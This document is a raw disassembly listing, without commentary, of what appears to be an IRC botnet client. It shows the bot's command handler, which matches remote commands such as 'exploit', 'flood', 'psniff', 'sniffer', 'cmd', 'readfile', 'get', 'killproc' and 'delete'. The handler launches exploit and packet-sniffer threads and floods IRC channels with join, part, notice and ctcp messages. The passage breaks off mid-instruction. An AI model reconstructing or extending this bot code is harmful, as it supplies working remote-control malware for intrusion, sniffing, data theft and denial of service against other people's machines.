sub_41AD24 loc_4048B7: ; CODE XREF: sub_401AA1+2A6Bj ; sub_401AA1+2A81j ... add esp, 0Ch jmp loc_409567 ; --------------------------------------------------------------------------- loc_4048BF: ; CODE XREF: sub_401AA1+F0Fj ; sub_401AA1+F24j push offset dword_42DE68 jmp loc_406169 ; --------------------------------------------------------------------------- loc_4048C9: ; CODE XREF: sub_401AA1+EE5j ; sub_401AA1+EFAj push offset dword_42A9A0 push offset dword_42DE3C jmp loc_406BB4 ; --------------------------------------------------------------------------- loc_4048D8: ; CODE XREF: sub_401AA1+EBBj ; sub_401AA1+ED0j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_40492B push esi call sub_41BDE9 cmp eax, ebx pop ecx jl short loc_404923 cmp eax, 3 jge short loc_404923 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 lea esi, [ecx+edx] cmp [esi], bl jz short loc_40491B lea eax, [esi+1] push eax lea eax, [ebp+var_2C0] push offset dword_42F550 push eax call sub_41BEF6 mov [esi], bl jmp short loc_404974 ; --------------------------------------------------------------------------- loc_40491B: ; CODE XREF: sub_401AA1+2E5Fj push eax push offset dword_42DDE8 jmp short loc_404968 ; --------------------------------------------------------------------------- loc_404923: ; CODE XREF: sub_401AA1+2E4Bj ; sub_401AA1+2E50j push eax push offset dword_42DD90 jmp short loc_404968 ; --------------------------------------------------------------------------- loc_40492B: ; CODE XREF: sub_401AA1+2E40j mov edi, [ebp+arg_18] xor esi, esi loc_404930: ; CODE XREF: sub_401AA1+2EABj push [ebp+var_90] push edi call sub_41C6E0 pop ecx test eax, eax pop ecx jz short loc_404953 inc esi add edi, 80h cmp esi, 3 jl short loc_404930 jmp loc_406DEB ; --------------------------------------------------------------------------- loc_404953: ; CODE XREF: sub_401AA1+2E9Fj mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C0] push eax push offset dword_42DD48 loc_404968: ; CODE XREF: sub_401AA1+2090j ; sub_401AA1+2E80j ... lea eax, [ebp+var_2C0] push eax call sub_41BEF6 loc_404974: ; CODE XREF: sub_401AA1+2E78j ; sub_401AA1+5495j add esp, 0Ch jmp loc_406DEB ; --------------------------------------------------------------------------- loc_40497C: ; CODE XREF: sub_401AA1+E91j ; sub_401AA1+EA6j push [ebp+var_8C] push offset dword_42F4C4 call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4033D4 call sub_40B417 push ebx call dword_42806C ; ExitProcess loc_4049A2: ; CODE XREF: sub_401AA1+196Bj push offset aGet ; "get" push edi call sub_41C6E0 pop ecx test eax, eax pop ecx jnz loc_404A48 cmp dword_4D1A8C, ebx jz short loc_4049CE push offset dword_4D1470 push offset unk_42DD08 jmp loc_404A5A ; --------------------------------------------------------------------------- loc_4049CE: ; CODE XREF: sub_401AA1+2F1Cj push 10h pop eax mov [ebp+var_2D0], eax push eax lea eax, [ebp+var_2E8] push ebx push eax call sub_41BC00 add esp, 0Ch lea eax, [ebp+var_2D0] push eax lea eax, [ebp+var_2E8] push eax push [ebp+arg_4] call dword_42822C ; getsockname movzx eax, [ebp+var_2E2] push eax movzx eax, [ebp+var_2E3] push eax movzx eax, [ebp+var_2E4] push eax lea eax, [ebp+var_E24] push offset aD_D_D_ ; "%d.%d.%d.*" push eax call sub_41BEF6 lea eax, [ebp+var_E24] push eax lea eax, [ebp+var_2C0] push offset unk_42DD08 push eax call sub_41BEF6 add esp, 20h jmp loc_40342B ; --------------------------------------------------------------------------- loc_404A48: ; CODE XREF: sub_401AA1+2F10j push edi call dword_4CE348 ; inet_addr cmp eax, 0FFFFFFFFh push edi jnz short loc_404A6E push offset unk_42DCC8 loc_404A5A: ; CODE XREF: sub_401AA1+2F28j lea eax, [ebp+var_2C0] push eax call sub_41BEF6 add esp, 0Ch jmp loc_40342B ; --------------------------------------------------------------------------- loc_404A6E: ; CODE XREF: sub_401AA1+2FB2j push offset dword_4D1470 call sub_41C520 push edi lea eax, [ebp+var_2C0] push offset unk_42DC9C push eax mov dword_4D1A8C, 1 call sub_41BEF6 add esp, 14h jmp loc_40342B ; --------------------------------------------------------------------------- loc_404A9C: ; CODE XREF: sub_401AA1+1956j push [ebp+arg_8] push offset aExploit ; "exploit" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz loc_404B98 mov eax, [ebp+var_4] mov esi, 80h mov [ebp+var_13E8], eax mov eax, [ebp+var_8] mov [ebp+var_13E4], eax mov eax, [ebp+arg_4] mov [ebp+var_13F8], eax push offset asc_42AAA4 ; "#l" lea eax, [ebp+var_1478] push esi push eax mov [ebp+var_13F0], 1 call sub_41BFF0 push offset asc_42AAA4 ; "#l" lea eax, [ebp+var_14F8] push esi push eax call sub_41BFF0 push edi lea eax, [ebp+var_1508] push 10h push eax call sub_41BFF0 lea eax, [ebp+var_1508] push eax lea eax, [ebp+var_2C0] push offset dword_42DC38 push eax call sub_41BEF6 push ebx lea eax, [ebp+var_2C0] push 8 push eax call sub_40B254 add esp, 3Ch mov [ebp+var_13EC], eax lea eax, [ebp+var_2FC] push eax lea eax, [ebp+var_1508] push ebx push eax push offset sub_40B9E3 push ebx push ebx call dword_428084 ; CreateThread mov ecx, [ebp+var_13EC] imul ecx, 234h cmp eax, ebx mov dword_44125C[ecx], eax jnz short loc_404B8B call dword_428094 ; RtlGetLastWin32Error push eax push offset dword_42DBB8 jmp loc_404968 ; --------------------------------------------------------------------------- loc_404B83: ; CODE XREF: sub_401AA1+30F0j push 32h call dword_428080 ; Sleep loc_404B8B: ; CODE XREF: sub_401AA1+30CFj cmp [ebp+var_13E0], ebx jz short loc_404B83 jmp loc_406DEB ; --------------------------------------------------------------------------- loc_404B98: ; CODE XREF: sub_401AA1+300Cj push [ebp+arg_8] push offset aReconnect_in ; "reconnect.in" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4094DE push [ebp+arg_8] push offset aRin ; "rin" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4094DE push [ebp+arg_8] push offset aReconnect_in_m ; "reconnect.in.ms" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_40949C push [ebp+arg_8] push offset aRinms ; "rinms" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_40949C push [ebp+arg_8] push offset aFlood ; "flood" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz loc_405773 call dword_4280B0 ; GetTickCount push eax call sub_41BF48 push edi push offset aLoad ; "load" call sub_41C6E0 add esp, 0Ch test eax, eax jnz short loc_404C9B cmp [ebp+esi+var_80], ebx jz short loc_404C9B push [ebp+esi+var_80] call sub_41BDE9 pop ecx push eax push [ebp+esi+var_84] call sub_41BDE9 pop ecx push eax push [ebp+esi+var_88] call sub_417F61 push [ebp+esi+var_84] lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push [ebp+esi+var_80] push offset unk_42DB50 push eax call sub_41BEF6 add esp, 20h cmp [ebp+var_8], ebx jnz short loc_404C9B push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409743 add esp, 14h loc_404C9B: ; CODE XREF: sub_401AA1+3186j ; sub_401AA1+318Cj ... push edi push offset dword_42DB4C call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_404D02 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404D02 push offset asc_42F5E8 ; " " push offset dword_42DB48 push eax call sub_418584 push eax lea eax, [ebp+var_47F0] push eax call sub_41C520 lea eax, [ebp+var_47F0] push eax lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset dword_42DB38 push eax call sub_41BEF6 lea eax, [ebp+var_2C0] push eax call sub_417C86 add esp, 28h loc_404D02: ; CODE XREF: sub_401AA1+3209j ; sub_401AA1+3214j push edi push offset dword_42DB34 call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_404D69 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404D69 push offset asc_42F5E8 ; " " push offset dword_42DB48 push eax call sub_418584 push eax lea eax, [ebp+var_4AF4] push eax call sub_41C520 lea eax, [ebp+var_4AF4] push eax lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset dword_42DB20 push eax call sub_41BEF6 lea eax, [ebp+var_2C0] push eax call sub_417C86 add esp, 28h loc_404D69: ; CODE XREF: sub_401AA1+3270j ; sub_401AA1+327Bj push edi push offset aNt ; "nt" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_404DD0 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404DD0 push offset asc_42F5E8 ; " " push offset dword_42DB48 push eax call sub_418584 push eax lea eax, [ebp+var_48F0] push eax call sub_41C520 lea eax, [ebp+var_48F0] push eax lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset aNoticeSS_1 ; "notice %s :%s" push eax call sub_41BEF6 lea eax, [ebp+var_2C0] push eax call sub_417C86 add esp, 28h loc_404DD0: ; CODE XREF: sub_401AA1+32D7j ; sub_401AA1+32E2j push edi push offset aMode ; "mode" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_404E37 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404E37 push offset asc_42F5E8 ; " " push offset dword_42DB48 push eax call sub_418584 push eax lea eax, [ebp+var_4FF8] push eax call sub_41C520 lea eax, [ebp+var_4FF8] push eax lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset aModeSS ; "mode %s %s" push eax call sub_41BEF6 lea eax, [ebp+var_2C0] push eax call sub_417C86 add esp, 28h loc_404E37: ; CODE XREF: sub_401AA1+333Ej ; sub_401AA1+3349j push edi push offset aJoin ; "join" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_404E74 mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404E74 push eax lea eax, [ebp+var_2C0] push offset aJoinS ; "join %s" push eax call sub_41BEF6 lea eax, [ebp+var_2C0] push eax call sub_417C86 add esp, 10h loc_404E74: ; CODE XREF: sub_401AA1+33A5j ; sub_401AA1+33B0j push edi push offset aPart_0 ; "part" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_404EB1 mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404EB1 push eax lea eax, [ebp+var_2C0] push offset aPartS ; "part %s" push eax call sub_41BEF6 lea eax, [ebp+var_2C0] push eax call sub_417C86 add esp, 10h loc_404EB1: ; CODE XREF: sub_401AA1+33E2j ; sub_401AA1+33EDj push edi push offset aPartflood ; "partflood" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_404EF3 mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404EF3 push offset byte_428638 push eax lea eax, [ebp+var_2C0] push offset aPartSS ; "part %s %s" push eax call sub_41BEF6 lea eax, [ebp+var_2C0] push eax call sub_417C86 add esp, 14h loc_404EF3: ; CODE XREF: sub_401AA1+341Fj ; sub_401AA1+342Aj push edi push offset aPnick ; "pnick" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_404F66 cmp [ebp+esi+var_88], ebx jz short loc_404F66 call dword_4280B0 ; GetTickCount push eax call sub_41BF48 call sub_41BF52 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_17B8] push edx push [ebp+esi+var_88] push offset dword_42DAB0 push eax call sub_41BEF6 lea eax, [ebp+var_17B8] push eax lea eax, [ebp+var_2C0] push offset dword_42DAA8 push eax call sub_41BEF6 lea eax, [ebp+var_2C0] push eax call sub_417C86 add esp, 24h loc_404F66: ; CODE XREF: sub_401AA1+3461j ; sub_401AA1+346Aj push edi push offset dword_42DA9C call sub_41C6E0 pop ecx test eax, eax pop ecx jnz loc_4050B7 cmp [ebp+esi+var_88], ebx jz loc_4050B7 push [ebp+esi+var_88] lea eax, [ebp+var_2C0] push offset aJoinS ; "join %s" push eax call sub_41BEF6 lea eax, [ebp+var_2C0] push eax call sub_417C86 push offset byte_428638 lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41BEF6 lea eax, [ebp+var_2C0] push eax call sub_417C86 add esp, 24h call sub_41BF52 cdq mov ecx, 3E8h idiv ecx push edx call dword_428080 ; Sleep push [ebp+esi+var_88] lea eax, [ebp+var_2C0] push offset aJoinS ; "join %s" push eax call sub_41BEF6 lea eax, [ebp+var_2C0] push eax call sub_417C86 add esp, 10h call sub_41BF52 cdq mov ecx, 384h idiv ecx push edx call dword_428080 ; Sleep push offset byte_428638 lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41BEF6 lea eax, [ebp+var_2C0] push eax call sub_417C86 push [ebp+esi+var_88] lea eax, [ebp+var_2C0] push offset aJoinS ; "join %s" push eax call sub_41BEF6 lea eax, [ebp+var_2C0] push eax call sub_417C86 add esp, 24h call sub_41BF52 cdq mov ecx, 0C8h idiv ecx push edx call dword_428080 ; Sleep push offset byte_428638 lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41BEF6 lea eax, [ebp+var_2C0] push eax call sub_417C86 add esp, 14h loc_4050B7: ; CODE XREF: sub_401AA1+34D4j ; sub_401AA1+34E1j push edi push offset dword_42DA98 call sub_41C6E0 pop ecx test eax, eax pop ecx jnz loc_40514F cmp [ebp+esi+var_88], ebx jz short loc_40514F call dword_4280B0 ; GetTickCount push eax call sub_41BF48 pop ecx call sub_41BF52 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41BF52 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41BF52 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41BF52 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41BF52 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_2C0] push edx push [ebp+esi+var_88] push offset dword_42DA70 push eax call sub_41BEF6 lea eax, [ebp+var_2C0] push eax call sub_417C86 add esp, 24h loc_40514F: ; CODE XREF: sub_401AA1+3625j ; sub_401AA1+3632j push edi push offset aNick_0 ; "nick" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz loc_405252 mov eax, [ebp+esi+var_88] cmp eax, ebx jz loc_405252 push eax lea eax, [ebp+var_2C0] push offset aJoinS ; "join %s" push eax call sub_41BEF6 lea eax, [ebp+var_2C0] push eax call sub_417C86 lea eax, [ebp+var_4BC] push eax call sub_417FDF lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C0] push offset dword_42DAA8 push eax call sub_41BEF6 lea eax, [ebp+var_2C0] push eax call sub_417C86 add esp, 24h call sub_41BF52 cdq mov ecx, 514h idiv ecx push edx call dword_428080 ; Sleep lea eax, [ebp+var_4BC] push eax call sub_417FDF lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C0] push offset dword_42DAA8 push eax call sub_41BEF6 lea eax, [ebp+var_2C0] push eax call sub_417C86 add esp, 14h call sub_41BF52 cdq mov ecx, 1F4h idiv ecx push edx call dword_428080 ; Sleep lea eax, [ebp+var_4BC] push eax call sub_417FDF lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C0] push offset dword_42DAA8 push eax call sub_41BEF6 lea eax, [ebp+var_2C0] push eax call sub_417C86 add esp, 14h loc_405252: ; CODE XREF: sub_401AA1+36BDj ; sub_401AA1+36CCj push edi push offset aChgnick ; "chgnick" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_405296 lea eax, [ebp+var_180C] push eax call sub_417FDF lea eax, [ebp+var_180C] push eax lea eax, [ebp+var_2C0] push offset dword_42DAA8 push eax call sub_41BEF6 lea eax, [ebp+var_2C0] push eax call sub_417C86 add esp, 14h loc_405296: ; CODE XREF: sub_401AA1+37C0j push edi push offset aMsg ; "msg" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz loc_405388 cmp [ebp+esi+var_88], ebx jz loc_405388 push [ebp+esi+var_88] lea eax, [ebp+var_2C0] push offset aJoinS ; "join %s" push eax call sub_41BEF6 lea eax, [ebp+var_2C0] push eax call sub_417C86 push offset word_42863A lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset dword_42DB38 push eax call sub_41BEF6 lea eax, [ebp+var_2C0] push eax call sub_417C86 add esp, 24h call sub_41BF52 cdq mov ecx, 3E8h idiv ecx push edx call dword_428080 ; Sleep push offset word_42863A lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset dword_42DB38 push eax call sub_41BEF6 lea eax, [ebp+var_2C0] push eax call sub_417C86 add esp, 14h call sub_41BF52 cdq mov ecx, 384h idiv ecx push edx call dword_428080 ; Sleep push offset word_42863A lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset dword_42DB38 push eax call sub_41BEF6 lea eax, [ebp+var_2C0] push eax call sub_417C86 add esp, 14h loc_405388: ; CODE XREF: sub_401AA1+3804j ; sub_401AA1+3811j push edi push offset aNotice_0 ; "notice" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz loc_40547A cmp [ebp+esi+var_88], ebx jz loc_40547A push [ebp+esi+var_88] lea eax, [ebp+var_2C0] push offset aJoinS ; "join %s" push eax call sub_41BEF6 lea eax, [ebp+var_2C0] push eax call sub_417C86 push offset word_42863A lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41BEF6 lea eax, [ebp+var_2C0] push eax call sub_417C86 add esp, 24h call sub_41BF52 cdq mov ecx, 3E8h idiv ecx push edx call dword_428080 ; Sleep push offset word_42863A lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41BEF6 lea eax, [ebp+var_2C0] push eax call sub_417C86 add esp, 14h call sub_41BF52 cdq mov ecx, 384h idiv ecx push edx call dword_428080 ; Sleep push offset word_42863A lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41BEF6 lea eax, [ebp+var_2C0] push eax call sub_417C86 add esp, 14h loc_40547A: ; CODE XREF: sub_401AA1+38F6j ; sub_401AA1+3903j push edi push offset aCtcp ; "ctcp" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz loc_405598 cmp [ebp+esi+var_88], ebx jz loc_405598 push [ebp+esi+var_88] lea eax, [ebp+var_2C0] push offset aJoinS ; "join %s" push eax call sub_41BEF6 lea eax, [ebp+var_2C0] push eax call sub_417C86 push [ebp+esi+var_88] lea eax, [ebp+var_2C0] push offset dword_42DA28 push eax call sub_41BEF6 lea eax, [ebp+var_2C0] push eax call sub_417C86 add esp, 20h call sub_41BF52 cdq mov ecx, 514h idiv ecx push edx call dword_428080 ; Sleep push [ebp+esi+var_88] lea eax, [ebp+var_2C0] push offset dword_42DA10 push eax call sub_41BEF6 lea eax, [ebp+var_2C0] push eax call sub_417C86 add esp, 10h call sub_41BF52 cdq mov ecx, 514h idiv ecx push edx call dword_428080 ; Sleep push [ebp+esi+var_88] lea eax, [ebp+var_2C0] push offset dword_42D9F8 push eax call sub_41BEF6 lea eax, [ebp+var_2C0] push eax call sub_417C86 add esp, 10h call sub_41BF52 cdq mov ecx, 514h idiv ecx push edx call dword_428080 ; Sleep push [ebp+esi+var_88] lea eax, [ebp+var_2C0] push offset dword_42D9F8 push eax call sub_41BEF6 lea eax, [ebp+var_2C0] push eax call sub_417C86 add esp, 10h loc_405598: ; CODE XREF: sub_401AA1+39E8j ; sub_401AA1+39F5j push edi push offset aMix ; "mix" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz loc_4056C5 cmp [ebp+esi+var_88], ebx jz loc_4056C5 push [ebp+esi+var_88] lea eax, [ebp+var_2C0] push offset aJoinS ; "join %s" push eax call sub_41BEF6 lea eax, [ebp+var_2C0] push eax call sub_417C86 push [ebp+esi+var_88] lea eax, [ebp+var_2C0] push offset dword_42DA28 push eax call sub_41BEF6 lea eax, [ebp+var_2C0] push eax call sub_417C86 add esp, 20h call sub_41BF52 cdq mov ecx, 514h idiv ecx push edx call dword_428080 ; Sleep push offset word_42863A lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41BEF6 lea eax, [ebp+var_2C0] push eax call sub_417C86 add esp, 14h call sub_41BF52 cdq mov ecx, 514h idiv ecx push edx call dword_428080 ; Sleep push offset word_42863A lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s" push eax call sub_41BEF6 lea eax, [ebp+var_2C0] push eax call sub_417C86 add esp, 14h call sub_41BF52 cdq mov ecx, 514h idiv ecx push edx call dword_428080 ; Sleep push offset word_42863A lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41BEF6 lea eax, [ebp+var_2C0] push eax call sub_417C86 add esp, 14h loc_4056C5: ; CODE XREF: sub_401AA1+3B06j ; sub_401AA1+3B13j push edi push offset aRegister ; "register" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_405709 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_405709 push eax lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset aNickservRegist ; "nickserv register %s %s" push eax call sub_41BEF6 lea eax, [ebp+var_2C0] push eax call sub_417C86 add esp, 14h loc_405709: ; CODE XREF: sub_401AA1+3C33j ; sub_401AA1+3C3Ej push edi push offset aOff ; "off" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz loc_4061AA mov [ebp+arg_18], offset dword_4D735C loc_405725: ; CODE XREF: sub_401AA1+3CA8j mov eax, [ebp+arg_18] cmp dword ptr [eax-4], 1 jnz short loc_40573B mov eax, [eax] cmp eax, ebx jbe short loc_40573B push eax call dword_4CE3A0 ; closesocket loc_40573B: ; CODE XREF: sub_401AA1+3C8Bj ; sub_401AA1+3C91j add [ebp+arg_18], 210h cmp [ebp+arg_18], offset dword_4DDA7C jl short loc_405725 cmp [ebp+var_8], ebx jnz loc_4061AA push ebx push [ebp+var_4] push offset unk_42D998 push [ebp+var_88] push [ebp+arg_4] call sub_409743 add esp, 14h jmp loc_4061AA ; --------------------------------------------------------------------------- loc_405773: ; CODE XREF: sub_401AA1+3164j push [ebp+arg_8] push offset aNick_0 ; "nick" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_409483 push [ebp+arg_8] push offset aN ; "n" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_409483 push [ebp+arg_8] push offset aJoin ; "join" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_409463 push [ebp+arg_8] push offset aJ ; "j" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_409463 push [ebp+arg_8] push offset aPart_0 ; "part" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_40944A push [ebp+arg_8] push offset aPt ; "pt" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_40944A push [ebp+arg_8] push offset aRaw ; "raw" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_409413 push [ebp+arg_8] push offset aR ; "r" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_409413 push [ebp+arg_8] push offset aKillthread ; "killthread" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_409363 push [ebp+arg_8] push offset aK ; "k" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_409363 push [ebp+arg_8] push offset aC_quit ; "c_quit" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4092B8 push [ebp+arg_8] push offset aC_q ; "c_q" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4092B8 push [ebp+arg_8] push offset aC_rndnick ; "c_rndnick" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_40926D push [ebp+arg_8] push offset aC_rn ; "c_rn" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_40926D push [ebp+arg_8] push offset aPrefix ; "prefix" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_409258 push [ebp+arg_8] push offset aPr ; "pr" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_409258 push [ebp+arg_8] push offset aOpen ; "open" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_40922E push [ebp+arg_8] push offset aO ; "o" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_40922E push [ebp+arg_8] push offset aServer ; "server" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_409209 push [ebp+arg_8] push offset aSe ; "se" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_409209 push [ebp+arg_8] push offset aDns ; "dns" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4091A4 push [ebp+arg_8] push offset aDn ; "dn" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4091A4 push [ebp+arg_8] push offset aKillproc ; "killproc" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_409178 push [ebp+arg_8] push offset aKp ; "kp" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_409178 push [ebp+arg_8] push offset aKill ; "kill" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_40911D push [ebp+arg_8] push offset aKi ; "ki" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_40911D push [ebp+arg_8] push offset aDelete ; "delete" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4090E6 push [ebp+arg_8] push offset aDel ; "del" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4090E6 push [ebp+arg_8] push offset aGet ; "get" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_409006 push [ebp+arg_8] push offset aGt ; "gt" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_409006 push [ebp+arg_8] push offset aList ; "list" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_408FEB push [ebp+arg_8] push offset aLi ; "li" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_408FEB push [ebp+arg_8] push offset aVisit ; "visit" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_408F0E push [ebp+arg_8] push offset aV ; "v" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_408F0E push [ebp+arg_8] push offset aMirccmd ; "mirccmd" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_408E9A push [ebp+arg_8] push offset aMirc ; "mirc" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_408E9A push [ebp+arg_8] push offset aCmd ; "cmd" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_408E46 push [ebp+arg_8] push offset aCm ; "cm" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_408E46 push [ebp+arg_8] push offset aReadfile ; "readfile" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_408DC1 push [ebp+arg_8] push offset aRf ; "rf" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_408DC1 push [ebp+arg_8] push offset aPsniff ; "psniff" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz loc_405C57 push edi push offset aOn ; "on" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz loc_405C1F push 20h call sub_40B496 test eax, eax pop ecx jle short loc_405B4D push offset dword_42D8A0 jmp loc_406DDD ; --------------------------------------------------------------------------- loc_405B4D: ; CODE XREF: sub_401AA1+40A0j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_F5C], eax mov eax, [ebp+var_4] mov [ebp+var_ED4], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_ED0], eax jnz short loc_405B8F mov esi, offset aSniff ; "#sniff#" push offset byte_4404C4 push esi call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_405B8F mov esi, [ebp+var_88] loc_405B8F: ; CODE XREF: sub_401AA1+40D0j ; sub_401AA1+40E6j push esi lea eax, [ebp+var_F58] push 80h push eax call sub_41BFF0 lea eax, [ebp+var_2C0] push offset dword_42D870 push eax call sub_41BEF6 push ebx lea eax, [ebp+var_2C0] push 20h push eax call sub_40B254 add esp, 20h mov [ebp+var_ED8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_F5C] push ebx push eax push offset sub_412DBF push ebx push ebx call dword_428084 ; CreateThread mov ecx, [ebp+var_ED8] imul ecx, 234h cmp eax, ebx mov dword_44125C[ecx], eax jnz short loc_405C12 call dword_428094 ; RtlGetLastWin32Error push eax push offset dword_42D834 jmp loc_404968 ; --------------------------------------------------------------------------- loc_405C0A: ; CODE XREF: sub_401AA1+4177j push 32h call dword_428080 ; Sleep loc_405C12: ; CODE XREF: sub_401AA1+4156j cmp [ebp+var_ECC], ebx jz short loc_405C0A jmp loc_406DEB ; --------------------------------------------------------------------------- loc_405C1F: ; CODE XREF: sub_401AA1+4090j push edi push offset aOff ; "off" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz loc_406DEB push ebx push 20h call sub_40B449 pop ecx cmp eax, ebx pop ecx jle short loc_405C4D push eax push offset dword_42D7F8 jmp loc_404968 ; --------------------------------------------------------------------------- loc_405C4D: ; CODE XREF: sub_401AA1+419Fj push offset dword_42D7CC jmp loc_406DDD ; --------------------------------------------------------------------------- loc_405C57: ; CODE XREF: sub_401AA1+407Bj push [ebp+arg_8] push offset aSniffer ; "sniffer" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz loc_405DA3 push edi push offset aOn ; "on" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz loc_405D6B push 21h call sub_40B496 test eax, eax pop ecx jle short loc_405C99 push offset unk_42D7A4 jmp loc_406DDD ; --------------------------------------------------------------------------- loc_405C99: ; CODE XREF: sub_401AA1+41ECj mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_EC8], eax mov eax, [ebp+var_4] mov [ebp+var_E40], eax mov 